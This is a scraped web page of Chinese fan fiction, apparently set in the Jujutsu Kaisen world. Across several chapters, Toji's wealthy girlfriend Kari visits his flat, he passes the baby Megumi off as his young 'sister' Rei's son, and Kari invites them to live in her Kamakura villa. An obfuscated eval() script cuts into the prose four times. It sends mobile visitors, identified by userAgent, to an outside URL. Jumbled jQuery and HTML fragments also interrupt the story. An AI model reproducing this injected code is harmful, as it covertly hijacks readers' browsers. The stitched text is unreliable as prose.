d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544161|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我不能嫉妒一个小孩子呀。” 总之,先把自己制造出的这点烂摊子全都收拾好吧,不知道该放在什么地方才好的咒具也先摆在桌上。又等待了好一阵,才终于听到门锁转动的声音。 甚尔回来了。 刚一踏进家门,似乎是解开了什么了不得的封印,甚尔的长吁短叹瞬间就冒出来了。 从玄关走到客厅,短短十几步路,他的叹气声经历了将近百次的迭代,而后彻底变成了一种谁都听不懂的声音,最后疲惫地往沙发上一倒,以沉重的“唉!”作为收尾。 什么嘛,难道恋爱是很累人的事情吗? 五条怜纳闷。她真搞不懂他为什么看起来这么打不起精神。 “伺候真正的大小姐,可真是苦差事。”他用手掌搓着脸,五官都要被推得变形了,“饿死了,烦死了,没精神点外卖了……家里还有什么东西能吃吗?” “应该有速冻炒饭,还是说需要我帮忙跑腿去楼下买定食套餐?” “定食套餐出餐很慢的,算了吧。”甚尔换了个姿势,伏在沙发扶手上,从坐垫的空隙间摸出遥控器,咔哒咔哒按得好响,“速冻炒饭就行了。” 半成品的速冻炒饭,只要丢进微波炉里叮上两分钟就能完事。 也就是说,只要看四个广告,热气腾腾的饭就被端到了面前。甚尔磨蹭着坐起身,跳过“我开动了”这种元气满满的餐前仪式感,舀起一大勺炒饭送进嘴里。 米饭油润润,锅气丝毫不存在,调味虽然恰到好处,但夹在饭里的青豆带着一股春天的臭味,算不上多好吃,也没有那么难吃,反正速冻半成品就是这么一回事。用来果腹的话,算得上美味,不过考虑到今晚如此艰辛,这样的风味就显得有些简陋了。 五条怜慢吞吞吃着,尽量不让勺子碰到盘底,以免剐蹭出难听的声响。电视上正在播放的这部偶像剧,她不感兴趣,视线漫无目的,不知不觉落到了甚尔的身上。 当然了,甚尔本人是没什么好看的——在家总是耷拉面孔睁着死鱼眼的家伙,就算脸蛋还算看得过去,也早就让人看腻了。她只是在想别的事情。 “呐,甚尔先生。”她忍不住问,“夏梨小姐是您的恋爱对象吗?” 过分专注于电视节目了,他迟钝地“啊?”了一声才反应过来:“你说华原啊?” “华原?” “她的全名是华原夏梨。” “哦……”她点点头。 华原……总觉得这名字有点熟? 熟悉到,好像今天才看到过? 五条怜努力在记忆中挖掘着线索,忽然像是想起了什么,又转头到垃圾桶里开始挖掘了,把塑料包装袋扒拉出咔嚓咔嚓的刺耳声响。甚尔忍了一会儿,果然还是觉得很恼人,回过头正打算叫她停下,她却已经跑过来了,手里还举着速冻炒饭的包装袋。 “是、是这个华原吗?” 她指着包装袋上的制造商名称。 “‘华原食品株式会社’的‘华原’?” 甚尔连眼皮都没抬一下:“是啊,她家里是开食品公司的。” “!!!” 真正的有钱大小姐登场啦! 25.豪门梦碎 ——甚尔先生正在和有钱的大小姐谈恋爱! 这个惊人的消息正在以八卦周刊封面上黄色加粗高亮字体的格式跳进五条怜的大脑。 过分震惊的状态约莫持续了十秒钟,然后又添上了五秒,她勉强缓过神来了,默默把速冻炒饭的包装袋丢回到垃圾桶里,看着甚尔的目光都添上了几分敬佩,虽然她也不知道这种事有什么好值得敬佩的。 她可能只是在想,甚尔先生马上就要嫁入豪门了,真好啊。 “喂喂喂。”甚尔被她看得后背发毛,不自在地缩了缩脖子,“你肯定在想什么很失礼的事情吧?” 哎呀,一不小心又让心思逃逸到脸上了。 五条怜匆忙摇头:“没有没有,没想在事情的事情!我只是觉得……觉得……” 有什么好话是和情侣有关的来着?赶紧想一想。 “觉得您和夏梨小姐真般配呀!” 好!顺利想到了! 她拍了个完美的马屁,可惜对于甚尔来说,似乎不算很受用。他轻哼了一声,满不在意的。 “这种话你要说给华原听——看出来了吧?她满脑子只有恋爱。要是把她哄高兴了,说不定会给你买珠宝首饰哟。” 好奇怪的话,五条怜没怎么明白。“说给您听,您不高兴吗?” “倒也没不高兴。”甚尔把额前的碎发捋到脑后,依然是漫不经心的做派,“反正我和她也不是什么正经的恋爱关系。” “唔……” 不是正经的恋爱关系,那就是不正经的关系了? 她还是想不明白,但脑海中“嫁入豪门”的头条新闻似乎马上就要破裂了。 “我没有冒犯您的意思,不过……”五条怜压低了声,小声嘀咕,“难道您是小白脸之类的?” 甚尔垂低眼眸,表情有点微妙:“你从哪里学来这个词的?” “电视上。” “啧。垃圾节目。”他气恼地咋舌,“是啦是啦,我确实是小白脸没错。不然你以为这段时间为什么没有被房东催债,而且每天都能吃上饭,还能顺便喂饱惠?” “……!” 居然是这样! 五条怜再次受到了巨大冲击——讲道理今天已经被冲击过不少回了,没想到惊讶感居然一点没有减少。 当然,除了惊讶,她也就只有惊讶了。除此之外的情绪,貌似全都不存在。她只被丢进了名为“惊愕”的海洋里,在海浪翻滚中下定了决心。 “甚尔先生。” 他抓抓耳朵:“又怎么了?” “我以后会更努力的!” 涨红着脸,她很认真地说。 怎么突然给出了这么有信念感的发言?甚尔想不明白。 五条怜的心思很容易就能摸透,但冒出各式各样心思时怀揣的动机,实在是很难懂。他猜这大概是因为她还是个乳臭未干的小屁孩,而自己已经变成了讨人厌的大人。 正如此刻,对待她一本正经的承诺,他也没怎么放在心上,反而浇上了一瓢过分现实的冷水。 “你是该努力一点。”他说得毫不留情,“今天做事太磨蹭。以后要还是这样,工作的时候就不带上你了。” 垂眸一看,穿在她身上的依旧是自己的旧毛衣。 “也别总穿我的衣服了。” “知道的知道的!”她的小小热情一点都没被浇灭,“明天就去买新衣服!” 和某些不靠谱的成年人——此处绝对没有什么浓重的暗示意味——完全不同,五条怜是个说到做到的人。 惦记着买衣服的事情,天还没亮她就早早地醒来了,优衣库绝对不会早早地开门迎客,她无聊地在沙发上坐了好久,看完了重播的综艺和早间美食节目,空荡荡的大脑完全被无趣的娱乐占满,久违的困意倒是在不知不觉间被勾了出来。她打了个长长的哈欠,眼皮啪嗒一下合上了。 迷迷糊糊睡了一会儿,醒来家里仍是昏暗一片。本以为是天还未亮,或者是她彻底睡死了过去,已经抵达了又一个夜晚,拉开窗帘,才发现今天也是个阴天。 好消息,没有下雨。 都已经到了春日,为什么不能多一些晴朗的日子呢?有时候真觉得天气在同她作对。 合拢窗帘。这个时间点出门倒是正合适,甚尔肯定还在睡觉所以就不打搅他了。抱起小海胆哄一哄,再搓搓他那尖锐的像是长了无数小角的脑袋,五条怜披上外套,把钥匙揣进口袋里,划开门链。恰是在触碰到门把手的时候,外头传来的“咚”的一声。 有人在敲门。 如此微妙且巧合的时机吓得她猛抖了一下,像只胆小的兔子。五条怜也被自己的怯懦做派逗笑了,自嘲般扯了扯嘴角,重新挂上门链,只把门推开了一条小缝。在说出“你好”之前,裹挟着甜腻香味的风已经吹进了屋里。 很熟悉的味道,她已经知道来客是谁了。对方也认出了她。 “哎呀,你是甚尔的妹妹,对不对?你叫什么来着,唔……我记得你的名字有点怪怪的。” 华原夏梨用食指托住下巴,撇着嘴,很认真地思索着,可惜咕哝了半天也没能回想起来。看来昨晚的记忆随同酒精一起,全都从她的大脑中挥发出去了。 很明显,今天的夏梨小姐是百分百清醒状态,已经没有了昨晚喝醉酒时的松垮模样,不过时不时揉捏太阳穴的动作还是暴露了她正饱受着宿醉折磨的这个事实。 在楼道并不明亮的灯光下,她的模样比昨夜清晰多了。五条怜能看到她健康的小麦色皮肤,精致的卷发和便利店里卖的时尚杂志的封面女郎一模一样,穿搭更是同样时尚。说话时,她会微微压低身子,笑意将她细长的眼睛挤成更纤细的模样,珍珠项链碰撞出圆润而清脆的声响。 站在她的面前,五条怜有种莫名的别扭感,不自觉缩起了肩膀。她也不知道自己在扭捏什么。 “呐。”夏梨的手越过门缝,落在她的脸颊上,很轻地捏了一下,“你叫什么名字?你哥哥应该和你说起过我,我叫夏梨哦。” 五条怜还是感觉好别扭,但也不好意思后退,只能点点头:“早上好,夏梨小姐……我叫禅院怜。” 虚假的名字说了两回,尴尬感就此减半。她几乎没什么愧疚感了。 “哦,对。你是叫这么个名字来着。”夏梨还是笑眯眯的,看起来好温柔,“小怜,你哥哥在家吗?” “在……吧?” 事实上甚尔在家,但问题是,能不能和外人说他在家呢?这是个值得深思一下的问题,可惜现在好像没有多少思索的余地。犹豫了半秒钟,五条怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558938|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请她进屋了。 不管怎么说,对方毕竟是间接保障了自己有吃有喝的金主大小姐,让人家等在外头也太不像话了。 虽然乱糟糟的家里也没有比外头好上多少就是了。 从夏梨踏进玄关的那一刻起,五条怜的心脏就开始扑通扑通跳个不停了,忍不住频频打量夏梨的一举一动,视线几乎要粘在她的脸上了。 能看到夏梨一进屋便开始左右打量起来,视线扫过直到今天都没有被打扫得多么干净(但还好也不算特别脏乱)的厨房,又盯着一眼就能看遍的客厅看了好一会,手指轻抵着鼻尖,微微撇下的嘴角里不知藏了什么心情。五条怜看到她张了张嘴,紧张感瞬间又提高了一个等级。 千万别是嫌弃禅院家很差劲呀——听了这种话她真的会大受打击的! 幸好幸好,她的忧虑没有实现。夏梨只是动了动唇,当下却没说什么。又四下望了一圈,她才嘀咕着说,这房子确实很狭窄。而这话的确是事实没错。 “本来还以为甚尔是在谦虚,原来没在和我客气啊。”绕着沙发转了一圈,大小姐决定坐在正中央,一坐下便翘起了二郎腿,歪着脑袋问五条怜,“你哥哥还在睡觉吗?” “大概是吧。” 差点忘记了,现在应该由甚尔来处理这种场合才对。 “我去叫他过来!”五条怜匆忙跑开了。 溜进卧室了,那个乱七八糟叠在床上的人形就是禅院甚尔先生没错。 稍稍花了一点时间,五条怜才从这个奇妙的形状中找到他的脑袋,并且对着他的耳朵连续念了八遍“快起床”,才成功地完成了唤醒服务。 伴着一声沉重且疲惫的喘息,残余的睡意随之逃离身体。甚尔像个老头似的搓搓脸,睡意又被重新揉进大脑里了,他又变回了那副睡意惺忪的模样,眯着眼看她,话语也黏糊糊。 “怎么,有事?” “嗯!”她认真地点点头,“夏梨小姐来家里了。” 甚尔平躺了三秒钟,猛地从床上弹起来,飞快地脱掉睡衣,换上正经衣服——恕五条怜直言,他的正经衣服和睡衣好像没什么太大区别。 “她为什么对我家有这么强的执念啊。”他居然还抱怨了起来,“还有,这种事你该早点和我说的!” “我——” 还能怎么更早地和你说呀! 此刻也无暇去听更多的辩解了。甚尔对着镜子抓了抓头发,看起来并没有好到哪里去,只能硬着头皮出去。 接下来该说点自嘲或者是欢迎的话才对,譬如像是“哎呀被你看到我刚睡醒的丢脸模样了”或是“哎呀你怎么来了快请坐请坐”,可惜这些话全都没能说出口,因为他看到夏梨正站在婴儿床边,好奇地看着躺在里头的小海胆。 哎呀。完全忘记家里有着不止两个人的事实了。 “呐呐甚尔!”夏梨看起来好像还挺兴奋的,“这孩子是谁呀,不会是你儿子吧?” 甚尔的额头冒出冷汗,还好他没有觉得多心虚,沉着脸快步走到夏梨身边,对她说起悄悄话:“其实……” 悄悄话的音量微妙地控制在了一个恰到好处的程度,足以让磨磨蹭蹭走过来的五条怜也能听到。她听到甚尔说: “这是我妹妹的儿子。” ……哈!? 26.撒点大谎 哈……? 哈——!? 五条怜怀疑是自己的耳朵出问题了,所以才会听到这么离谱的话。但显然她的听力很正常,所以慌忙用手托住脸,否则她的下巴就要砸到地上去了。 居然把禅院惠说成是自己的小孩……禅院甚尔,这么离谱的话真亏你能说得出来呢! 她在心里尖叫,当然谁也不会听到。 至于莫名其妙就被卷入话题之中另一位主角的禅院惠,他显然也对这种编排相当不情愿,哇一声大哭起来,突然响起的音量炸弹把大小姐夏梨吓得不轻。 而甚尔嘛,他自然是佯装出一副什么动静都没听到的闲散模样,继续同夏梨嚼耳朵,努力圆谎。 “你知道的,最近少女妈妈越来越多,都变成一种社会现象了。 ”他像模像样地抹去眼角根本不存在的眼泪,接连不断的叹气声一下子就填满了小小的客厅,“我们阿怜也遇人不淑,所以……唉!现在只有我收留她了。” 现在五条怜也想掉眼泪了。 莫名其妙被套上了少女妈妈的头衔,估计得是心脏很大的人才能对此泰然处之。可她的心脏只有小小的一颗,实在接受不了如此离谱的剧本——更何况她俨然已经成为了这出戏码的女主角。 她痛苦地闭上眼,决定把周遭的一切全都屏蔽掉。可小海胆的哭声实在尖锐,听着就像是快要喘不上气般急促。实在没办法,她只能从甚尔和夏梨的中间钻了过去,跑到婴儿床边,抱起禅院惠轻轻晃悠几下。哭闹声立刻停下了,但没想到这也成为了“少女妈妈”的完美佐证。 “看。”甚尔两手一摊,“这就是母子之间的羁绊。” 羁绊个头哦! ……不对。 母子个头哦! 五条怜实在忍不住了,鼓起勇气,瞪了甚尔一眼,可惜这软绵绵的一眼毫无杀伤力,反倒是他那一瞬间变得严肃的表情看的她有点心慌,简直就像是明晃晃的威胁。五条怜悻悻地收回目光,心里的不服气已经消失了一大半,只能沮丧地耷拉着脑袋。于是甚尔也接着说下去了。 “说实在的,有了孩子这件事,直到现在都还是个秘密。”他抿着嘴,露出一副可怜模样盯着夏梨,“最好还是别被更多人知道,你说是不是?” 说着,他不着痕迹地碰了碰五条怜的肩膀,目的性明显得不能再明显了,就是让她也跟着搭腔。五条怜一时不知道说什么才好,心里却已经冒出了一百种念头。 扪心自问,她是真心不愿意替甚尔背黑锅,当什么所谓的“少女妈妈”。可一旦这种倔强的念头冒出来,照烧汁拌乌冬面的寡淡滋味也随之一同浮到了舌尖上,害得她有点想吐了——与之相关的糟糕回忆实在太多,顺带着让乌冬面都多出了一点苦涩滋味。 于是她冷静下来了,很认真地开始思考起现状。于是便想到,为了活下去,甚尔可是心甘情愿地当了别人家的小白脸。 既然如此,自己努努力出卖一些尊严,好像也是情理之中的事情……吧? 五条怜涨红了脸,滚烫的耳廓上浮着一层尴尬感凝成的热气,害得她分外艰难才能低下头,话语也变得磕磕巴巴了:“请……请不要和别人说。拜托您了。” 大抵是被说动了,也可能打从一开始就不打算把这种事当作茶余饭后的八卦谈资,夏梨甩甩手:“没关系,不过呀……” 她歪过身,把视线放低到和五条怜一样的高度,扑哧一下笑出了声。 “这孩子和小怜长得不太像呢,反倒有点像甚尔。” 像甚尔——像甚尔——像甚尔—— 这几个字像回音一样在大脑里转个不停,甚尔和五条怜都不自觉地绷紧了身子,只有状况外禅院惠还在闹腾不停。 五条怜的脑筋转得飞快,已经找到借口了:“是返祖现象!” 甚尔顺势添上一嘴:“阿怜长得更像妈妈。你知道的,我们是同父异母的兄妹。” 很好。顺便还把他们之间的兄妹设定也补齐了。 “原来如此!”大小姐被说服了,又恢复笑眯眯的模样,“小怜自己看起来也还只是个孩子,居然已经当妈妈了,真是不可思议……对了,你多大了?” “十五……啊。十六。”她立刻改口,硬生生把年纪报大了三岁,“我刚过完生日,今年十六岁了。” “哦——” 夏梨慢吞吞点着头,很轻易地接受了这个回答,似乎没觉得五条怜稍稍有点矮,还亲昵地揉了揉她的脸。 大概算是值得庆幸,夏梨对她的兴趣只持续了短暂的一小会儿,在疑惑得到解答之后,就消散得差不多了。她又重新粘回到了甚尔身边,问他今天要不要一起出去玩,像一只叽喳的金丝雀。甚尔也很配合地也开始捏着嗓音说话,五条怜觉得像是有鸭子在叫。 很明显,自己与小海胆已经变成了眼下这一场合的打扰者。 五条怜偷摸摸往边上挪了一小步,而后又迈出一大步,接着又是接连不断的好几步。 保持着这样的频率与速度,她飞快地撤退到了两人的lovelove甜腻氛围之外,躲进卧室的角落里,从没感到自己有这么碍事过。 耐心地等上一会儿,等到外头的动静消失,她才探出脑袋,依旧以一副老鼠般鬼鬼祟祟的做派向外张望。 客厅里谁也不在,看来甚尔和夏梨出门约会了。她松了口气,这才从卧室里走出来。 “知道吗,你爸爸很没有良心呢。”她轻轻戳着禅院惠的脸,也就只能在这没人的时候抱怨一下了,“居然说我是少女妈妈,好不负责任。” 禅院惠小脸一皱,不知道是在用自己的方式对她的控诉表示苟同,还是纯粹被她抱了太久觉得不舒服,开始闹起了不愉快的动静。五条怜赶紧把他放下,轻轻晃了晃婴儿床。 “好啦好啦,你可别哭。”现在她实在没精力哄孩子了,“我知道你不希望我这种人变成你的妈妈,对吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573744|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 禅院惠不吱声了,五条怜也不再说话,默默地在原地坐了一会儿——也可能是坐了很久,她也没有概念了——才重新站起,继续原定的日程。 一个人买衣服,一个人吃饭,一个人喂小孩。今天过得格外独立,寂寞感都随之减轻了不少。 临近深夜,甚尔才回来,也不开灯,摸黑走进家里,懒散地往沙发上一坐,给睡梦中的沙发常驻居民五条怜带来了二十一世纪的阪神大地震。 “怎么了怎么了!”她紧张地跳起来,“发生不好的事了吗?” 甚尔无奈地扯扯嘴角:“你就这么不乐意看我回来?” 惊醒的五秒钟后,理智终于归位了。五条怜的笨蛋脑袋终于整理好了现状,下达“摇头否定”的指令。 “没有不乐意。”她坐起来,“我只是一不小心呆住了……嘿嘿。” 笨拙的尬笑不知道有没有打动甚尔。他呼出沉沉的一口气,从口袋里摸出了一个什么东西,丢到她手里。 “接住了。”他叮嘱着,“夏梨买给你的,算是礼物吧。” “唔……” 落在手心里的是深蓝色的发带,绑成了精致端正的蝴蝶结,真是意料之外的礼物。 “她说你的发色很漂亮,所以给你买了发带。下次见到她,记得说句谢谢——她最喜欢别人对她说这种好听的话了。” “我明白了。” 五条怜努力压住嘴角,却还是忍不住要笑出来。她索性给了自己三秒钟时间,尽情地笑个不停,而后才依依不舍地收起笑意,目光始终停留在深蓝色的发带上。 是礼物呢,很正经的一份礼物。 在她的记忆里,“礼物”实在少见。她从没送给过别人什么东西,所以理所应当般不会从他人那里得到礼物。她总觉得礼物是该在特定的某一天、出于特别的某种意义而存在的。但今天并不多么特定,送礼的意义似乎也不存在,即便如此,夏梨还是买了礼物,真好啊。 默默地在心里送上谢意,五条怜小心翼翼地把发带平着放进口袋里,稍稍坐端正了些,安静地什么都没说,任由睡意泛滥。 其实她大可以睡觉的,但在半个沙发都被甚尔占走的当下,她的睡眠空间也只剩下了可怜巴巴的一点,委屈一点倒也能睡,但在他醒着的情况下自顾自睡觉,总让五条怜有种莫名的背德感。 在困倦和背德感之间,显然选择前者更好。 继续并肩坐着,谁也没主动说点什么,只有偶尔响起的哈欠声(无疑来自于五条怜),还有窗外碾过的车轮声响。她不自觉地想到了夏梨的红色跑车,还有她的珍珠项链。夏梨到底是怎样的人呢?真想知道啊。 睡意赶走了理智,她迷迷糊糊地开口,嘀咕着:“夏梨小姐人真好……我喜欢夏梨小姐。” “还是别太喜欢更好。” 甚尔枕在靠背上,话语似乎也在拐弯。 “她呀,是个很麻烦的笨女人。” 27.蜂蜜味糖精 麻烦的笨女人,这就是甚尔对于夏梨的评价,简单粗暴,且带着毫不遮掩的嫌弃意味,五条怜怎么听都觉得别扭,还有点莫名的不服气,总觉得他就是在故意贬低夏梨,默默在心里替她感到不值。 这点暗戳戳的小心思当然也没能藏住。只用余光瞄了一眼,甚尔就知道她在暗自腹诽着什么了。 “一点小礼物就把你收买了?好歹我才是把你喂饱的那个人,这种时候倒是站在我这一边啊。”他伸手去抓五条怜的脑袋,气恼地晃了晃,真是失望透顶,“你个叛徒。” 甚尔的手指卡进了发丝之间,不太疼,但总有种别扭的感觉。五条怜赶紧求饶:“哎哎哎是我不对!我会站在您这边的!” 她嘴上确实是改口了,但实际偏向于谁,依旧是个未解之谜。 不过,这句切实的承诺总算是哄好了甚尔。 他收回了手,轻哼一声,仍带着点脾气。五条怜赶紧捋捋头发,怀疑自己的脑袋都已经炸成两倍大了。 “我还以为您很喜欢夏梨小姐呢。”她嘀咕着,顺便把一缕翘起的碎发按平,“不过,夏梨小姐肯定特别特别喜欢您。” 能说出前半句话,完全是因为甚尔对待夏梨时透露出的那股亲昵劲。但一想到他的自我定位是小白脸,五条怜便忍不住觉得他所表现出的一切亲昵举动都只是精湛演技而已。 后半句话则是毋庸置疑,只要长了眼睛,都能看出夏梨有多热衷于甚尔。那股子黏糊糊且带着些许不理智的做派,和电视剧里热恋的女主角完全一样。 甚尔轻哼了一声,不知道是想要赞同她的这番论调,还是纯粹积攒了太多郁闷的情绪,想要借这一声近乎叹息的吐气,把它们从身体里统统赶出去。 “是啦,她是恋爱脑嘛。”他说着,依旧是带了嫌弃的评价,“像她这种在充满爱和钞票的环境里长大的家伙,很容易就会被打动,然后疯狂地去追逐‘爱’。” “……为什么?” 五条怜眨眨眼。甚尔的话有点违背她一贯的认知。 “这样的人,不应该对爱更加挑剔,不太容易被打动才对吗?”至少她是这么认为的,“因为已经得到了很多的爱,所以对爱的阈值会变得很高?” “理论上是该这样没错,实际完全不是一回事。” 甚尔竖起一根手指,在空中晃来晃去,画下无数个看不见的圆圈,不知道是想要圈住谁的自由。 “整天被泡在蜜罐子里的大小姐毫无戒心,只要给她一点甜头——哪怕是连砂糖都不如的工业糖精,她都会天真地以为这是真正的蜂蜜,心甘情愿地一头扎进去。然后嘛……” 他的手指忽然停下了,直直地落下去,仿佛高空跳水,落进黑夜里。 “然后溺死。” 五条怜的心颤了颤,口袋里的蝴蝶结发带变得好凉。 “……意思是,您要杀了她吗?” “啊?那倒没有。这只是一句比喻。”甚尔把手收回到口袋里,懒懒散散的身子在沙发上约莫下滑了三厘米,“意思是她很蠢。” “原来如此……” 不是什么人命关天的事情,那倒是可以松一口气了呢。 “反正。” 他终于站起来了,拧着脖子转转肩膀,把关节拉扯出咔哒咔哒的响声。 “你别和她有太多深入的交际。像这种人生顺利还能尽情被爱的大小姐,和我们这种丧家犬,不是一路人。” “我们这种丧家犬”——这好像是第一次甚尔把自己和她捆绑在一起,打上同样的标签。 在此之前,他们对应的角色应该是满心嫌弃的成年人和什么都做不好的小屁孩才对。 五条怜不知道自己是不是该为这点难得的共鸣感高兴,又或者是继续沉浸在礼物带来的浅薄欣喜之中。回过神来,甚尔已经打着哈欠走进卧室里了。这点困意乘着室内不动的风,钻进了她的脑袋里,她也忍不住打起哈欠,决定先不苦恼于这种小事,倒头就睡下了。 这一觉,她睡得不安稳,睡梦之中总忍不住去摸口袋,触碰到发带凉丝丝的质感,才终于能放下心来。真是愚蠢的执念。 才过了一周,夏梨又跑来拜访了。 她好像真的很喜欢这间过分狭窄的公寓,但更有可能是因为喜欢甚尔,一待就是一整天,明明家里无趣的很,她也总是高高兴兴地腻在甚尔身边。 蜂蜜味的大小姐,心里到底在想些什么,果然是很难懂呢。 再之后的拜访,就变得更加勤快了,时间间隔从五天缩短到三天,最后几乎是每天都要来家里转悠上一圈,俨然已经变成了这个家的编外人员。 “说起来呀。” 大概是在第七次拜访时,横躺在沙发上的夏梨忽然这么说。 “春假都结束了,小怜还不去上学吗?” 意料之外的问题。 五条怜愣了愣,不知道该怎么回答。甚尔也呆了呆,心想,自己还从没考虑过这个问题呢。 未成年人的义务制教育,这个概念压根没在他的成年人脑袋里停留过。 “上学啊……呃……”五条怜挠挠头,觉得好尴尬,“我一般,不去学校来着。” “是吗?”夏梨一脸困惑,“意思是说,小怜你从来没上过学吗?” “家里会请老师来教书,学校确实是一次都没有去过。” 这是御三家的一贯做派,在禅院家也是一样,但对夏梨来说还是挺意外的。 “哎呀,原来你们禅院家是有钱的大户人家吗?” 甚尔赶紧插嘴:“就算是有钱也和我们俩没关系啦。我们可是离家出走的可怜蛋哟。” 这句话足够让夏梨小姐圣母心大爆发。她得意一笑,冲“兄妹俩”摆摆手,好生阔气。 “也是也是,还得靠我才行嘛。不过,我还以为小惠的爸爸会是小怜的同学呢。”她向前倾了倾身,靠在五条怜身旁,一如既往笑眯眯的模样,“呐,小怜,偷偷告诉我嘛,小惠的爸爸是个什么样的人。” “呃……” 小惠的爸爸现在正在很紧张地盯着你哟。 如果要道出事实的话,五条怜肯定会这么说。但眼下显然不是适合说真话的场合,她尴尬地笑了好几声,憋不出半句话。 尴尬的沉默没能浇灭夏梨的热情,她开始自顾自揣测起来。 “不是同学的话,那就是青梅竹马了?啊,不会是什么糟老头子吧?” 她一脸担忧。 “小怜,你被糟老头子骗了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588030|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏梨越靠越近,不自觉间五条怜被逼进了沙发的角落里,落在肩头的她的卷发钻进了衣领里,好痒。 “不是糟老头子啦……”五条怜缩起脖子,有点想打喷嚏,“他是……是……” 支吾了半天,她都没想到什么合适的。 眼前是过分热诚的大小姐,余光能瞥见到正在用眼神暗示自己快点撒谎的甚尔,内心扑通扑通跳个不停。 谎言不可能凭空捏造,必须依托在一部分的现实之上才能存在。有谁能成为她的谎言的基石呢…… “他是,呃,和我一起长大的同龄男生。” 好嘛,谎言终于说出口了! 虚假的话语落进一无所知的夏梨的耳朵里,足够变成再真实不过的事实。她的眼睛一下子亮了起来,更多的好奇也被勾出来了。 “他是个怎样的人呢?是不是个小帅哥?” 五条怜用手揉开蹙起的眉心:“是个和我很不一样的天才……唔,姑且长得算是很好看吧。” “原来小怜喜欢聪明男孩呀!” 夏梨笑起来,架在沙发扶手上的两条小腿自在地轻轻晃悠。她搂住五条怜,亲昵把脸贴在她的额头上。 “不过呀,女孩子好像都更偏好于找截然不同的另一半。看嘛,我和你哥哥就很不一样。”她调皮地对身后的甚尔wink了一下,这才转过头来接着说,“小怜最喜欢那个男生的什么地方呀?” “最喜欢?我想想……”想着想着脸却越来越烫了,“我也不知道,可能是因为,他是唯一对我好的人?” “你哥哥对你不好吗?” 回过神,才发现甚尔正瞪着她——快要被说漏嘴啦! 五条怜赶紧把脱缰的话题拽回来:“没有没有……我是说除哥哥以外啦。哈哈。” “原来如此。” 大小姐被轻而易举地说服了,没几秒她又冒出了新的好奇。 “但那孩子没有好好地承担起自己的职责呢,不然你也不必惨兮兮地和甚尔住在一起了。”夏梨叹着气,替她感到不值,“小怜,你讨厌他吗?” 想了想,却不知道该怎么说,五条怜轻轻摇头。 “那就是还喜欢他咯?” “是吧。”她耸耸肩,露出一丝苦笑。 “这可不行!” 夏梨义愤填膺,俨然在替她不值。 社交距离又被拉近了些,现在夏梨几乎是在抱着她了,忽地伸出手,抓住她脑袋上方的一团空气,用力一抽,像是要把这点虚晃但过分持久的爱恋也一起抽出来,揉成团丢到一边,一不小心碰倒了桌上的空水杯。 幸亏家足够小,水杯完完整整转上五圈便撞到了墙面,慢悠悠停下了。 “得痛痛快快地把烂男人忘掉才行!”她好认真。 五条怜诚恳地点点头:“好!” 掉落的水杯被甚尔拾了回来,重新放回到桌上。 他很悲伤地发现,这个午后他似乎怎么也没办法挤进女孩子们的对话里。 不过没关系。再寂寞上一小会儿,夏梨就会投来目光了。 “呐呐,我一直在想。” 她合拢手掌,像只过分活泼的小鹿。 “不如你们搬来和我一起住吧。” 28.镰仓别墅 帆板,冲浪客,蓝色的天空。 还有镰仓的沙滩大海,一切全都近在眼前。 站在别墅二楼巨大的落地窗前,五条怜忍不住揉了揉眼睛。不管看多少回,她都不敢相信海景居然能离自己这么近。 在清透的晴日阳光之下,室内的后现代主义装修风格都显得那么微不足道了。 “夏梨姐,你家好酷……” 看了好久好久,五条怜才终于挤出这么一句微不足道的赞美,和内心的如海浪般翻滚不停的思绪完全不相称。 “每天都能看到大海,太棒了!” “是吗?我是已经看腻了啦。” 夏梨笑得轻快,招招手,差使着搬家公司的跑腿小哥把一副带金色签名的网球拍挂在了墙上,慢悠悠走到她身边,目光却在看玻璃里她满脸艳羡的淡淡倒影。 “不过,我也很久没回这栋房子住了,熟悉的景色都变得陌生了呢。”她想了想,“嗯……有七八年没来了吧。这里离我的高中近,所以当时才住过来的。后来大学在东京,就又跑回东京了。” 五条怜终于舍得收回一点目光了,仰头看她:“您的高中在附近吗?” 能在海边的镰仓读书,真好呢。她的艳羡感又膨胀了一点。 